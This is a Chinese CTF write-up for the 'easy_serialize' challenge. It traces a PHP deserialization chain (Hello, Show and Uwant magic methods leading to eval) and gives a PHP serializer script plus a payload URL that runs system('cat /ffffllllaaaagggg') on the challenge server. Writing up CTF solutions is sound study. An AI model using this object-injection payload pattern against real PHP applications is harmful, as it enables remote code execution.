本文最后更新于:2023年10月15日 晚上
easy_serialize
payload
先上payload:
1
| http://124.220.165.133:9906/?a=O:5:"Hello":2:{s:6:"source";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:5:"Uwant":1:{s:6:"params";s:32:"system('cat /ffffllllaaaagggg');";}}};}
|
分析
先把网页上的代码拷到vscode里,以便后续查看和修改
第40行有个eval
函数,那就从这里倒推
eval
在getshell
函数里,而getshell
被__get
函数调用
1 2 3 4
| __construct() __destruct() __toString() __get()
|
显然,在Show
类的__tostring()
中:
1 2 3 4 5 6 7 8 9 10
| class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } }
|
当$this->str['str']
为类Uwant
时,
这段代码会调用Uwant
中不存在的source
变量,导致触发__get()
接下来,我们分析如何触发__toString()
在Hello
类中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } }
|
如果$this->source
为一个Show
类的对象,
那么__destruct()
中
就是将Show
类对象当作字符串使用,
即触发__toString()
分析总结
我们需要序列化一个Hello
类对象,
这个对象的$str
为一个Show
类对象,
该Show
类对象的$str['str']
为一个Uwant
类对象。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Hello { public $source; public $str; } class Show { public $source; public $str; } class Uwant { public $params="system('cat /ffffllllaaaagggg');"; } $a = new Hello; $a->str=new Show; $a->str->str['str']=new Uwant; echo serialize($a); ?>
|
payload:
1
| http://124.220.165.133:9906/?a=O:5:"Hello":2:{s:6:"source";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:5:"Uwant":1:{s:6:"params";s:32:"system('cat /ffffllllaaaagggg');";}}};}
|